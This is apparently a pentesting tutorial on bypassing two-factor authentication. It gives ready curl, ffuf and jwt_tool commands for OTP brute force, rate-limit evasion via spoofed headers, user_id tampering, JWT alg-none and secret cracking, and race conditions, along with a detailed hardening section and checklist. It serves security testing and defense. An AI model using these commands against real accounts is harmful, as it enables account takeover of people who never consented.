web hacking

2FA Bypass: Techniques, Payloads, and OTP Attacks for Pentesters

2FA Bypass: Techniques, Payloads, and OTP Attacks for Pentesters

2FA bypass: response manipulation, OTP brute force, direct post-login link, SIM swapping, MFA phishing, backup code abuse. Payload for ethical pentesters and hackers

  • Posted on 2026-07-10
  • Reading time: 19 min

2FA Bypass: All the Techniques to Bypass Two-Factor Authentication #

2FA bypass is a set of techniques that allow an attacker to access an account protected by two-factor authentication without possessing the second factor. Many 2FA implementations appear secure but have logical, configuration, or implementation flaws that make them vulnerable to being circumvented.

Finding a 2FA bypass in a bug bounty program almost always scores Critical or High — you're proving that a security protection designed to prevent account takeover isn't working.

2FA isn't a unique mechanism: there are SMS OTPs, TOTPs (Google Authenticator), email OTPs, backup codes, push notifications (MFA), and hardware keys (FIDO2). Each implementation has its own weaknesses.

Auth & Access Control Pillar Guide Satellite.

All techniques in this guide should only be tested on applications for which you have explicit written authorization — an authorized HTB, lab, CTF, or penetration test.


How 2FA Works (and Where It Breaks) #

Before understanding bypasses, understand the normal flow of 2FA:

text
1. Utente inserisce username + password → autenticazione primo fattore
2. Server verifica le credenziali → crea uno stato "half-authenticated"
3. Server chiede il secondo fattore (OTP, TOTP, ecc.)
4. Utente inserisce il codice → autenticazione completata
5. Server crea la sessione completa → utente dentro

Bypasses exploit errors in any of these steps. The most common are:

  • The server does not properly verify that the second factor has been completed
  • The OTP code has no limit on the number of attempts
  • The post-2FA flow can be reached directly by skipping step 3
  • The server's response to step 3 can be manipulated on the client side
  • The “second factor” can be obtained in other ways (SIM swap, phishing)

2FA Authentication Flow and Bypass Point


How to Identify the Type of 2FA #

Before choosing which technique to try, understand what you're dealing with. Each type has a recognizable tell:

  • Google/Microsoft Authenticator, Authy → TOTP (RFC 6238), 6-digit code generated client-side, regenerated every 30 seconds. No network calls to generate it, only to verify it.
  • Code via email → OTP generated and sent by the server. Look for the endpoint /send-otp o /resend-code.
  • Code via SMS → Carrier-based OTP. Undetectable without SIM swapping or device access.
  • Push notification (Duo, Okta, Microsoft Authenticator push) → challenge/response, user approves from app. Main vector: MFA fatigue.
  • Passkey/hardware key (YubiKey, Windows Hello) → WebAuthn, tied to the origin (domain). The most resistant to all the techniques in this guide.
  • Backup code → single-use alphanumeric string, generated when 2FA is activated.

This immediately tells you where to focus: against TOTP/SMS/email, brute force, replay, and response manipulation make sense. Against push, MFA fatigue makes sense. Against passkeys, almost none of the logical techniques in this guide work—the test shifts to other vectors (device compromise, social engineering, forced downgrade to a weaker method).


Technique 1 — Response Manipulation #

It's the simplest and most surprising: the application decides on the server side whether the code is correct, but then communicates the result to the frontend with a JSON response that you can intercept and modify.

How does it work:

text
1. Mandi il codice OTP sbagliato
2. Il server risponde: {"success": false, "message": "Invalid OTP"}
3. Burp intercetta questa risposta PRIMA che arrivi al browser
4. Modifichi: {"success": true, "message": "OTP verified"}
5. Il browser pensa che il 2FA sia passato → ti reindirizza alla dashboard

Step by step with Burp:

text
1. Intercetta la request del 2FA (Burp Proxy → Intercept ON)
2. Inserisci un OTP sbagliato (es. 000000) e manda
3. In Burp: vai su "Response" e aspetta la risposta del server
4. Modifica il corpo della risposta:
   - false → true
   - "success":0 → "success":1
   - "verified":false → "verified":true
   - "status":"failed" → "status":"success"
5. Forward → il browser riceve la risposta modificata → accesso ottenuto

Funziona? No sempre. Dipende da come è implementato il flusso:
- Se il server crea la sessione solo dopo aver verificato il 2FA lato server → non funziona
- Se il server crea la sessione già al passo 1 e il 2FA è solo un "gate" frontend → funziona

Sequence diagram: response manipulation with Burp Suite

Variant: Response manipulation in reverse. Instead of intercepting the incorrect code, it sends the correct one and captures the successful response (200 OK with the exact confirmation payload). Then, later, it tries to replay that same response on an attempt with an incorrect OTP—useful when the frontend only validates the response structure and not a unique token within it.

How to quickly test:

bash
# Intercetta la request del 2FA con Burp
# Nota il formato della risposta di successo (fai prima un login valido)
# Poi prova con OTP sbagliato e modifica la risposta

# Oppure con curl: manda OTP sbagliato e guarda la risposta raw
curl -X POST "https://target.com/api/verify-otp" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"otp": "000000"}'
# Response: {"success":false,"error":"Invalid code"}
# → Prova a mandare questa stessa request ma intercetta e modifica la response

Technique 2 — Skip the 2FA (Direct Navigation) Step #

This is the most common flaw. The server authenticates the user with username and password, then says "now enter 2FA"—but it doesn't verify that 2FA has been completed before allowing access to protected pages.

How does it work:

text
1. Fai login con credenziali valide → sei "half-authenticated"
2. Il server ti manda alla pagina /verify-2fa
3. Invece di inserire il codice, vai direttamente a /dashboard o /account
4. Il server controlla solo se hai una sessione (creata al passo 1) e non se hai completato il 2FA
5. Sei dentro senza aver mai inserito il codice

How to test:

bash
# Passo 1: fai login con credenziali valide (senza completare il 2FA)
curl -X POST "https://target.com/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim@mail.com","password":"password123"}' \
  -c cookies.txt  # salva i cookie

# Passo 2: senza inserire il 2FA, prova ad accedere alle pagine protette
curl "https://target.com/dashboard" \
  -b cookies.txt  # usa i cookie del login

curl "https://target.com/account/settings" \
  -b cookies.txt

curl "https://target.com/api/user/profile" \
  -b cookies.txt

# Se risponde 200 invece di reindirizzarti a /verify-2fa → bypass confermato
text
In Burp:
1. Fai login, aspetta la pagina /verify-2fa
2. Apri una nuova tab nel browser (stesso browser, stessa sessione)
3. Vai manualmente a /dashboard, /account, /admin
4. Sei dentro? → bypass confermato

Technique 3 — OTP Brute Force #

OTP codes are usually 4-8 digits. If there's no rate limit or account lock, you can try them all.

Search space:

text
4 cifre → 10.000 combinazioni
6 cifre → 1.000.000 combinazioni
8 cifre → 100.000.000 combinazioni

A 6-digit one-time password (OTP) with a 30-second validity (TOTP) is impractical to brute force in real time. But many implementations:

  • They do not limit attempts
  • They do not expire the code after N attempts
  • They use 4-digit OTP (10.000 combinations)
  • They do not invalidate the code after successful use

How to test rate limiting:

bash
# Manda 10 richieste rapide con codici sbagliati
for i in $(seq 1 10); do
  curl -s -X POST "https://target.com/api/verify-otp" \
    -H "Cookie: session=SESSION_HALF_AUTH" \
    -H "Content-Type: application/json" \
    -d "{\"otp\": \"00000$i\"}" \
    -o /dev/null -w "Tentativo $i: %{http_code}\n"
done
# Se tutti i tentativi danno 200 (o 401 senza blocco) → no rate limiting → bruteforzabile

# Brute force con ffuf (6 cifre = 1M, ma se la sessione non scade e non c'è blocco...)
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 0 999999 | head -10000) \
  -mc 200 \
  -fr "invalid|error|incorrect"

Bypass rate limiting for IP:

bash
# Alcune implementazioni bloccano per IP ma non per sessione
# Prova a ruotare l'IP con header:
curl -X POST "https://target.com/api/verify-otp" \
  -H "X-Forwarded-For: 1.2.3.4" \
  -H "X-Real-IP: 1.2.3.5" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"otp":"123456"}'
# Ogni request con un IP diverso in X-Forwarded-For resetta il rate limit?
# → Rate limit bypassato

“Silent” rate limit: In some cases the server officially blocks after N attempts (401/429 response), but if you send the correct code anyway beyond that limit by pure trial and error, it responds with 200. It is always worth testing the correct code even after a suspected block — the blocking logic and the verification logic are sometimes two separate and unsynchronized code paths.

For more general rate limit bypass techniques (header rotation, endpoint switching, method tampering) see API Rate Limit Bypass ; for brute force on login and credential stuffing see Brute Force.


Technique 4 — Reusable OTP (Invalidation Missing) #

A successfully used OTP should be immediately invalidated. If the server doesn't do this, the same code will work multiple times.

How to test:

bash
# Usa un OTP valido per autenticarti
curl -X POST "https://target.com/api/verify-otp" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"otp":"482916"}'  # OTP valido

# Logout, fai di nuovo login (ottieni una nuova sessione half-auth)
# Riusa lo stesso OTP
curl -X POST "https://target.com/api/verify-otp" \
  -H "Cookie: session=NUOVA_SESSION_HALF_AUTH" \
  -d '{"otp":"482916"}'  # stesso OTP di prima
# Se risponde 200 → OTP non invalidato dopo l'uso → bypass possibile

Technique 5 — Expired OTP Still Accepted #

TOTP (Google Authenticator) codes are valid for 30 seconds. Some implementations accept codes that are several minutes old due to "clock tolerance."

How to test:

bash
# Ottieni un codice TOTP valido
# Aspetta 2-5 minuti (il codice dovrebbe essere scaduto)
# Prova a usarlo
curl -X POST "https://target.com/api/verify-otp" \
  -H "Cookie: session=SESSION" \
  -d '{"otp":"CODICE_VECCHIO"}'
# Se risponde 200 dopo 2+ minuti → finestra di validità troppo larga

Technique 6 — User Parameter Manipulation (Account Takeover) #

During the 2FA process, some applications include the user ID in the verification request. If you can change it, you verify your OTP, but for a different account.

How does it work:

text
1. Fai login col tuo account (hai il tuo OTP valido)
2. La request di verifica include: {"user_id": TUO_ID, "otp": "482916"}
3. Cambia user_id con quello della vittima: {"user_id": VITTIMA_ID, "otp": "482916"}
4. Il server verifica il tuo OTP ma crea la sessione per la vittima
5. Sei loggato come vittima

How to test:

bash
# Intercetta la request di verifica OTP con Burp
# Cerca user_id, email, username, account_id nel body
# Sostituisci col target

curl -X POST "https://target.com/api/2fa/verify" \
  -H "Content-Type: application/json" \
  -d '{"user_id": 1, "otp": "482916"}'
# user_id: 1 = account admin
# otp: 482916 = OTP del TUO account → stai verificando il tuo codice per l'account admin

Technique 7 — Backup Code Abuse #

When the user enables 2FA, the app generates backup codes (usually 8-10 one-time codes). If these codes are predictable or have implementation issues:

How to test:

bash
# Codici backup prevedibili: sequenziali o derivati dall'user_id
# Se il codice backup è nel formato XXXXX-XXXXX con spazio limitato → brute force

# Prova codici comuni che le persone salvano male
curl -X POST "https://target.com/api/2fa/backup" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"backup_code":"12345678"}'

# Backup code accettato anche se il 2FA non è abilitato?
# Prova su account senza 2FA
curl -X POST "https://target.com/api/2fa/backup" \
  -H "Cookie: session=SESSION_UTENTE_SENZA_2FA" \
  -d '{"backup_code":"00000000"}'
# Se risponde 200 → i backup code non richiedono che il 2FA sia attivo

Also note an indirect vector: if backup codes are generated and immediately displayed in a separate API response when 2FA is activated, a misconfigured CORS issue or XSS elsewhere in the app could allow an attacker to read that response and exfiltrate the codes before the user even saves them.


Technique 8 — MFA Fatigue (Push Notification Bombing) #

Specific to 2FA implementations with push notifications (Microsoft Authenticator, Duo, Okta). The attacker knows the credentials and bombards the user with push notifications until they approve out of tiredness or confusion.

text
Flusso:
1. Attaccante ha username + password della vittima
2. Fa login in loop → ogni tentativo manda una push notification alla vittima
3. La vittima riceve 50 notifiche di approvazione in 30 minuti
4. La vittima, per errore o stanchezza, approva una → attaccante dentro

Reale: Uber breach 2022 — un contractor ha approvato una notifica MFA
dopo essere stato bombardato per ore, ricevendo anche un WhatsApp
"Sono del supporto IT, approva la notifica"

This isn't something you'd test in a standard pentest without explicit authorization—but document it as a social engineering vector if the target uses push MFA.


Technique 9 — SIM Swapping and SS7 #

For SMS 2FA: The attacker convinces the mobile operator to transfer the victim's number to their SIM card. They then receive all the victim's SMS messages, including OTPs.

Out of scope for a traditional web pentest, but relevant in:

  • Comprehensive safety assessments
  • Social engineering assessment
  • Contexts where the customer uses SMS-OTP for critical systems (banks, cryptocurrencies)

Technique 10 — Transparent Proxy MFA Phishing (AiTM) #

The attacker creates a phishing site that acts as a transparent proxy between the victim and the real site (Adversary-in-the-Middle). The victim enters their credentials and completes the 2FA process properly on the fake site, but the attacker—who is proxiing the real site in real time—intercepts the session cookie issued immediately afterward. The second factor isn't "broken": it's simply no longer needed, because what matters now is the post-authentication session cookie.

text
Vittima → [proxy phishing / Evilginx] → sito reale
            ↑                             ↑
         cattura                    la vittima autentica
         il cookie                  normalmente, 2FA incluso

AiTM Flow: Evilginx between victim and real site

Reference tool: Evilginx , an open-source framework for demonstrating AiTM phishing in authorized engagements. Setup, phishlets, and complete workflow: Evilginx2: Bypass 2FA with Phishing Proxy . Updated version with a focus on detection: Evilginx 3: AiTM Phishing and MFA Bypass . A more general overview of phishing as an initial access vector: Phishing: Techniques, Types, and Defenses.

The cookie stolen in this way is effectively post-authentication session hijacking — 2FA isn’t “broken,” it simply becomes irrelevant.


Technique 11 — Referer Header Bypass #

Some applications “verify” that they have arrived from the 2FA step by checking only the header Referer of the request, instead of a server-side session flag.

bash
curl "https://target.com/dashboard" \
  -H "Referer: https://target.com/verify-2fa" \
  -b cookies.txt
# Se risponde 200 invece di redirect a /verify-2fa → basta falsificare
# da dove sembri arrivare

Technique 12 — Token/OTP Leak in Response #

Sometimes the OTP code (or an equivalent token) ends up, due to a development or debugging error left in production, in the response of the request that generates it — not just in the verification response.

bash
curl -X POST "https://target.com/api/2fa/send-otp" \
  -H "Cookie: session=SESSION_HALF_AUTH"
# Guarda l'intero body della risposta, non solo lo status code
# Cerca campi tipo: debug_otp, test_code, dev_otp, otp_hint

If, when you create your account, you receive an email with a “verify your address” link that logs you in directly without requiring the second factor, anyone who has access to that mailbox (or intercepts the link) will log in without ever going through 2FA.

How to test: Create an account, enable 2FA, then check if the email verification link (or a “confirm new device” link) authenticates directly without asking for an OTP.


Technique 14 — CSRF to Disable 2FA #

If the endpoint that disables 2FA (e.g. POST /api/2fa/disable) has no CSRF protection (valid anti-CSRF token, cookie SameSite=Strict/Lax), an authenticated victim visiting a malicious page can find their 2FA disabled without their knowledge, without the attacker needing to know their password or OTP.

How to test: check if /2fa/disable accept the request without a CSRF token and without requiring the current password/OTP as confirmation.


Technique 15 — Sessions Not Invalidated After Activating 2FA #

When a user activates 2FA (perhaps because they suspect unauthorized access), all active sessions created BEFORE activation should be terminated. If they aren't, an attacker with a valid session (stolen earlier) remains in the account even after the victim has "secured" the account.

How to test: Log in on two devices, enable 2FA on one, and see if the other device still logs in.


Technique 16 — Endpoint/API Version Legacy #

If the application has undergone a refactor and today the 2FA flow goes from /api/v2/verify-otp with all the protections, check if /api/v1/verify-otp (or an endpoint used by the old mobile app) still exists — often retained for backwards compatibility and without the same rate limiting or validation protections.

bash
curl -X POST "https://target.com/api/v1/verify-otp" \
  -H "Cookie: session=SESSION_HALF_AUTH" \
  -d '{"otp":"000000"}'

Technique 17 — Decoy Requests against Rate Limiting #

Some implementations reset the failed attempt counter every time the user requests a new code resend ("Resend Code"). You can use this to brute-force indefinitely: send a batch of attempts almost to the limit, then trigger a resend, and the counter starts over.

text
1. Manda 15 OTP sbagliati (limite presunto: 20)
2. Chiama /api/2fa/resend-otp
3. Il contatore si azzera?
4. Manda altri 15 OTP sbagliati
5. Ripeti → brute force senza mai triggerare il blocco reale

Technique 18 — Remember Me / Trusted Device Abuse #

Many apps offer “Remember this device for 30 days” after the first successful 2FA, saving a cookie like trusted_device_id o remember_device=trueIf that cookie is predictable, unsigned, or not strongly tied to the device (just a Boolean or incremental ID), copying or guessing it is enough to skip 2FA on every subsequent login.

How to test:

bash
# Attiva 2FA, completa il flusso, spunta "ricorda questo dispositivo"
curl -v "https://target.com/login" -c cookies.txt 2>&1 | grep -i "set-cookie"
# Cerca: trusted_device, remember_device, device_token

# Prova a riusare quel valore da un'altra sessione senza mai passare dal 2FA
curl "https://target.com/dashboard" \
  -H "Cookie: trusted_device_id=VALORE_COPIATO; session=NUOVA_SESSIONE_HALF_AUTH"

Also check if the value is a decodable boolean (remember_device=true inside a JWT or unsigned cookie) — if it is, setting it manually bypasses 2FA for any account.


Technique 19 — Manipulable MFA Claim in JWT #

If the app uses JWT for authentication status, 2FA completion is often tracked as a claim in the token itself: "mfa":false, "mfa_completed":false, or "amr":["pwd"] (without "otp"/"mfa" in the array). If the JWT is not signed correctly (algorithm none, weak secret, JWK confusion) you can edit that claim directly.

bash
# Decodifica il JWT dalla request post-login
jwt_tool <TOKEN> -T
# Cerca claim tipo: mfa, mfa_completed, amr, 2fa_verified, auth_level

# Se l'algoritmo è manipolabile o il secret è debole:
jwt_tool <TOKEN> -X a                                          # test alg none
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt        # crack secret debole
# Poi modifica mfa_completed:false → true e ri-firma

Complete insight into JWT vulnerabilities: 10 JWT Attacks for Ethical Hackers.


Technique 20 — Bypassing 2FA via OAuth/SSO #

If the app supports both local login (with 2FA required) and “Sign in with Google/Microsoft/GitHub,” and the victim’s OAuth account is already linked, the SSO flow often skips the native 2FA entirely — even if the dashboard shows “2FA enabled and required.”

text
Login locale                          → 2FA richiesto
Login con Google (account collegato)  → 2FA MAI richiesto

How to test: Connect a test OAuth account, enable native 2FA, then try logging in via SSO instead of password—see if it lets you in without ever asking for the second factor. Compromising the victim's OAuth account (or authorization flow) thus becomes a complete alternative to the target app's 2FA.


Technique 21 — Race Condition on OTP Verification #

Many backends perform "verify code → create session → invalidate OTP" as three separate, non-atomic operations. By sending dozens of verification requests in parallel with the same valid OTP, some may pass the check before the code is marked as already used.

bash
# Con un OTP valido, manda 50 richieste in parallelo
for i in $(seq 1 50); do
  curl -s -X POST "https://target.com/api/verify-otp" \
    -H "Cookie: session=SESSION_HALF_AUTH" \
    -d '{"otp":"482916"}' &
done
wait
# Verifica se vengono generate più sessioni/token per lo stesso, singolo OTP

The same logic applies to non-atomic rate limit counters (Technique 3). For a deeper dive into race conditions and other under-recognized vulnerabilities, see Misc & Infrastructure Attacks.


Technique 22 — Session Fixation on Half-Authenticated Sessions #

If the session ID assigned in the “half-auth” state (before 2FA) remains identical after the second factor is completed — rather than being regenerated — an attacker who has successfully embedded that session ID in the victim’s browser inherits a fully authenticated session without ever entering the OTP.

bash
curl -v "https://target.com/login" 2>&1 | grep -i "set-cookie"
# Nota il session ID PRIMA del 2FA

curl -v "https://target.com/verify-otp" -b "session=STESSO_ID" 2>&1 | grep -i "set-cookie"
# Se il session ID non cambia dopo la creazione della sessione completa → session fixation

Technique 23 — Mobile APIs and WebSockets Without MFA Enforcement #

Mobile apps often talk to dedicated endpoints (/mobile/, /api/m/, header X-App-Version) developed separately from the web flow — and sometimes 2FA wasn't ported there. The same goes for dashboards unlocked via WebSocket after login: if the authorization message (e.g. {"authenticated":true}) is decided on the client side and not re-verified for each message, you can bypass 2FA by directly opening the WS connection with a half-auth session.

How to test: Repeat Techniques 1 and 2 tests against each endpoint /mobile/ o /api/v*/ found by analyzing mobile app traffic or JS bundle, and checks whether a WebSocket handshake accepts a session that has not yet been 2FA-completed.


Technique 24 — Password Reset Bypasses 2FA #

A common production pattern: the password reset flow doesn't require the second factor on subsequent logins, even on accounts with "mandatory" 2FA. If you manage to trigger a password reset (see Password Reset Attack for host header poisoning and related techniques), the post-reset login lets you in without ever asking for the OTP.

text
1. Chain: Host header poisoning → cattura link di reset
2. Reset password della vittima
3. Login con la nuova password
4. Il 2FA "obbligatorio" non viene richiesto → account takeover completo

This is effectively an account takeover , even if 2FA was active on paper.


Defense: How to Harden a 2FA Implementation #

Each of the above techniques almost always corresponds to a missing server-side check. On the blue team/development side, these are the points that close most bypasses.

VulnerabilityMitigation
Reusable OTP (Technique 4)Invalidate the code immediately after use
Brute force OTP (Technique 3)Rate limit per account + progressive lockout
Direct navigation (Technique 2)Session flag mfa_completed server-side verified
Response manipulation (Technique 1)Access decision never based on a client-side field
Backup Weak Codes (Technique 7)Secure, single-use RNG, notification on use
Remember me abuse (Technique 18)Signed token, tied to device fingerprint, real expiration
JWT claim MFA manipulable (Technique 19)Strong algorithm (RS256/ES256), claims verified server-side
OAuth/SSO Skips 2FA (Technique 20)Step-up MFA also on the SSO flow, not just on the local one
Race condition on verify-otp (Technique 21)Lock/atomic transaction on verification + invalidation
Half-auth session fixation (Technique 22)Regenerate the session ID after each authentication step
CSRF on disable-2FA (Technique 14)Anti-CSRF token + password/OTP reconfirmation
Password reset bypasses 2FA (Technique 24)2FA remains mandatory even after a password reset

Explicit session state, not implicit. It is not enough to create a session at login: a flag must be verified for EVERY request to protected endpoints (e.g. session.mfa_completed = true), set ONLY after server-side verification of the second factor. If this flag is missing, every endpoint must reject the request — protection cannot be a simple frontend redirect (Techniques 1, 2, 11).

Rate limiting per account/session, not just per IP. The counter must be linked to the target (account or session), otherwise IP or header rotation X-Forwarded-For They work around it. Use exponential backoff and do NOT reset the counter when the user requests a code resend (Techniques 3, 17).

One-time, real-time OTP. Invalidate the code just used successfully, even if the request arrives after an expired attempt. On TOTPs, maintain a minimum tolerance window (±1 step, not minutes) for clock skew (Techniques 4, 5).

Robust, single-use backup queues. Generated with secure RNG, long enough to not be brute-forced, invalidated after use, and notified to the user (email/push) each time one is consumed (Technique 7).

Re-authentication for sensitive actions. Disabling 2FA, changing recovery email/phone, or regenerating backup codes must ALWAYS require the current password + a valid OTP—never just an active session—and the endpoint must have a valid anti-CSRF token (Technique 14).

Invalidating sessions when changing 2FA. Enabling, disabling, or changing 2FA must terminate all other active sessions on the account except the current one (Technique 15).

No client-side security decisions. Second-factor verification, full session creation, and access control to protected resources must occur and be re-verified server-side on every request — never trust a field success: true/false in the response to decide whether to show the dashboard (Technique 1).

Remember me is tied to the device, not to a Boolean. The "trusted device" token must be signed, associated with a device fingerprint (not just an ID), and have a real expiration date—never a simple decodable Boolean flag (Technique 18).

Signed authentication claims, not just present. If the MFA state lives in a JWT, the algorithm must be strong (RS256/ES256 with private key protected) and every critical claim (mfa, amr) must be re-validated server-side, not just read from the token (Technique 19).

Step-up MFA also on the OAuth/SSO flow. If 2FA is mandatory for local login, it must also be mandatory for those accessing via an external provider—otherwise, SSO becomes the easiest way to bypass it (Technique 20).

Atomic operations on OTP verification. Verification, session creation, and code invalidation must be performed in a single, locked transaction, not as three separate, attackable steps in parallel (Technique 21).

Regenerate the session ID at each authentication step. The pre-2FA session ID must never survive the full login process unchanged—this eliminates both session fixation and most hybrid session issues (Technique 22).

Against AiTM phishing (Evilginx and similar). "Classic" 2FA (OTP, TOTP, push) doesn't stop an adversary-in-the-middle attack: the victim completes it properly, and the attacker steals the session cookie immediately afterward. Defenses that really work:

  • FIDO2/Passkey — the second factor is tied to the origin (domain): a phishing domain cannot complete it, unlike OTPs and push messages that the user can “deliver” without realizing it.
  • Device-based token binding / Conditional Access (e.g. Login ID, Google Advanced Protection) — a stolen cookie cannot be reused by an unrecognized device.
  • Identity log monitoring — an IP that completes the login that is different from the IP using the session immediately after is a strong indicator of a stolen session.

Complete technical insight into attack and detection: Evilginx 3: AiTM Phishing and MFA Bypass.

Logging and monitoring. Logs every 2FA verification attempt (result, IP, user agent, timestamp). Alerts for anomalous patterns: many failures followed by a success from a different IP, excessive resends in a short time, backup code used immediately after a failed OTP.


Complete Workflow from Pentester #

When you find an app with 2FA, follow this order:

2FA bypass pentest workflow, steps 0-10

text
Step 0 — Fingerprint del tipo di 2FA
  → SMS, email, TOTP, push, backup code o passkey?
  → Determina quali tecniche hanno senso provare (vedi sezione dedicata sopra)

Step 1 — Direct navigation
  → Fai login (half-auth), salta il 2FA, prova /dashboard /account /admin direttamente
  → È la tecnica più veloce e spesso funziona

Step 2 — OAuth/SSO check
  → Se l'app supporta login via Google/Microsoft/GitHub, prova quel flusso invece della password
  → Test rapido, alto impatto: spesso salta il 2FA nativo anche se "obbligatorio" (Tecnica 20)

Step 3 — Response manipulation
  → Burp Repeater: manda OTP sbagliato, modifica la response da false a true
  → Forward e vedi se il browser ti porta dentro

Step 4 — User parameter tampering
  → Guarda la request del 2FA: c'è user_id, email, o account nel body?
  → Sostituisci con l'ID della vittima usando il tuo OTP valido

Step 5 — Rate limit check
  → Manda 20 richieste rapide con OTP sbagliati, vieni bloccato?
  → No blocco → brute force fattibile (specie se OTP a 4 cifre)
  → Blocco per IP → prova X-Forwarded-For rotation
  → Prova anche il resend: azzera il contatore?

Step 6 — OTP reuse
  → Usa un OTP valido, fai logout, rifai login, riusa lo stesso OTP

Step 7 — OTP scaduto
  → Ottieni un OTP, aspetta 2-3 minuti, prova a usarlo

Step 8 — Backup code
  → Prova codici backup prevedibili o brute force se spazio limitato

Step 9 — Logica avanzata
  → Referer header, endpoint API legacy (v1 vs v2), CSRF su disable-2fa,
    sessioni non invalidate dopo attivazione, token leak nella response
    di invio codice, link di verifica email, remember-me/trusted device,
    claim MFA nel JWT, race condition su verify-otp, session fixation
    su half-auth, endpoint mobile/WebSocket, reset password che salta il 2FA

Step 10 — Documenta come vettore SE non bypassabile
  → MFA fatigue possibile? SMS-OTP = SIM swap possibile? AiTM/phishing proxy possibile?
  → Raccomanda FIDO2/hardware key se disponibile

Checklist #

text
FLUSSO E LOGICA
☐ Direct navigation: login → salta 2FA → /dashboard accessibile?
☐ Response manipulation: OTP sbagliato → modifica response → accesso?
☐ User parameter: user_id/email nel body della verifica? → sostituisci
☐ Logout + rilogin con stesso OTP → OTP non invalidato?
☐ OTP vecchio di 2+ minuti ancora accettato?
☐ Referer header falsificato → bypass del redirect?
☐ Endpoint API v1/legacy ancora attivo e meno protetto?
☐ Token/OTP leak nella response di invio codice?
☐ Link di verifica email logga senza richiedere 2FA?
☐ CSRF su /2fa/disable senza richiesta di password/OTP?
☐ Sessioni multi-device non invalidate dopo attivazione 2FA?
☐ Cookie "remember device" prevedibile/non firmato?
☐ JWT con claim mfa/mfa_completed manipolabile (alg none, secret debole)?
☐ Login via OAuth/SSO salta il 2FA nativo?
☐ Richieste parallele su verify-otp → race condition?
☐ Session ID pre-2FA identico dopo il login completo (fixation)?
☐ Endpoint /mobile/ o WebSocket senza enforcement MFA?
☐ Reset password → login successivo salta il 2FA?

RATE LIMITING
☐ 20 tentativi falliti → nessun blocco?
☐ X-Forwarded-For variabile bypassa il blocco per IP?
☐ Blocco per sessione o per IP? (test con IP diverso)
☐ Resend del codice azzera il contatore dei tentativi?
☐ OTP a 4 cifre? → 10.000 combinazioni → brute force rapido

BACKUP CODE
☐ Backup code con spazio limitato (brute forceable)?
☐ Backup code funziona anche senza 2FA abilitato?
☐ Backup code sequenziale o prevedibile?
☐ Backup code esfiltrabile via CORS/XSS al momento della generazione?

ACCOUNT TAKEOVER
☐ Chain: user_id tamper → verifica tuo OTP per account admin → ATO?
☐ Chain: bypass direct nav → accesso senza 2FA → ATO se hai credenziali?
☐ AiTM/phishing proxy testabile in awareness assessment autorizzato?

DOCUMENTAZIONE
☐ Screenshot del bypass step by step
☐ Dimostrazione accesso all'account target
☐ Impact statement: tipo di dati accessibili, privilegio account

DIFESA (lato sviluppo/blue team)
☐ Flag di sessione mfa_completed verificato ad ogni request protetta?
☐ Rate limit legato ad account/sessione, non solo IP?
☐ Disable-2FA richiede password+OTP corrente e token CSRF?
☐ Sessioni invalidate al cambio 2FA?
☐ Logging su tentativi 2FA con alert su pattern anomali?

FAQ #

Is SMS 2FA secure? It's better than nothing, but it's the weakest. Vulnerable to SIM swapping, SS7 interception, and proxy phishing. For critical systems, always recommend TOTP (Google Authenticator) or, better yet, FIDO2/hardware key (YubiKey).

Does 2FA block phishing? It blocks "classic" phishing (password-only theft). It doesn't block an adversary-in-the-middle attack like Evilginx: in this case, the victim completes 2FA properly on the fake site, and the attacker steals the session cookie afterwards. Only FIDO2/Passkey and device-related token binding truly stop this scenario.

Does direct navigation bypass always work? No. It depends on the implementation. If the server uses a flag in the session that is checked for every protected request (session.2fa_completed = true) and doesn't create this flag until 2FA is complete — bypassing doesn't work. But many applications create a full session after login and use 2FA only as a "gate" that the frontend handles.

How do I know if there is user_id in the 2FA request? Burp Suite Proxy History. Filter requests to /verify, /2fa, /otpLook at the body of each post. Look for any fields that identify the user: user_id, email, username, account, uid.

Response manipulation: How do I intercept a response in Burp? Proxy → Options → enable “Intercept responses based on the following rules.” Then, in the Proxy tab, when the response arrives, you can modify it before the browser receives it. Or use Repeater: send the request with the incorrect OTP, note the response, consider how to modify it, then use “Match and Replace” in Proxy to automatically do so for all requests.

What should I check first on the development side if I want to secure my 2FA? The server-side session flag (mfa_completed) checked on every protected endpoint, and the mandatory re-authentication to disable 2FA. These two checks, by themselves, close most of the logical bypasses in this guide.

What's the difference between MFA and 2FA? 2FA (Two-Factor Authentication) is a specific form of MFA (Multi-Factor Authentication): it requires exactly two factors. MFA is the generic term and can require more than one (e.g., password + TOTP + biometric verification). In practice, in articles and products, the two terms are used almost synonymously.

Why does FIDO2/Passkey resist phishing where OTP and push fail? Because the cryptographic key generated by FIDO2 is tied to the origin (the domain) at the protocol level (WebAuthn). A phishing site on a different domain fails to complete the challenge, even if the victim actively interacts with the fake page—unlike OTP and push, which the user can "surrender" without the protocol noticing.

Is it possible to brute-force Google Authenticator? The TOTP code generated by Google Authenticator is 6 digits long and changes every 30 seconds. Brute-forcing it within the validity window (1.000.000 combinations in 30 seconds) is impractical under normal conditions. The realistic attack isn't on the code itself, but on the server-side implementation: lack of rate limiting, excessively large clock skew windows, or theft of the secret seed during enrollment.

How does TOTP work? TOTP (RFC 6238) generates the code by combining a shared secret (exchanged only once, usually via QR code) with the current timestamp divided into 30-second increments, using HMAC. The server and application calculate the same code independently, without requiring network communication: this is why TOTP also works offline.

What is the severity of a report? Complete bypass of 2FA leading to unauthorized access → Critical . Brute force OTP without rate limiting → High . Reusable OTP or with an excessively long validity window → Medium/High . CSRF on disable-2fa → High/Critical depending on the impact.


Resources #

#MFA bypass #OTP bypass #TOTP bypass #SIM swapping # MFA fatigue #2FA bypass

leave a message

I'm not a robot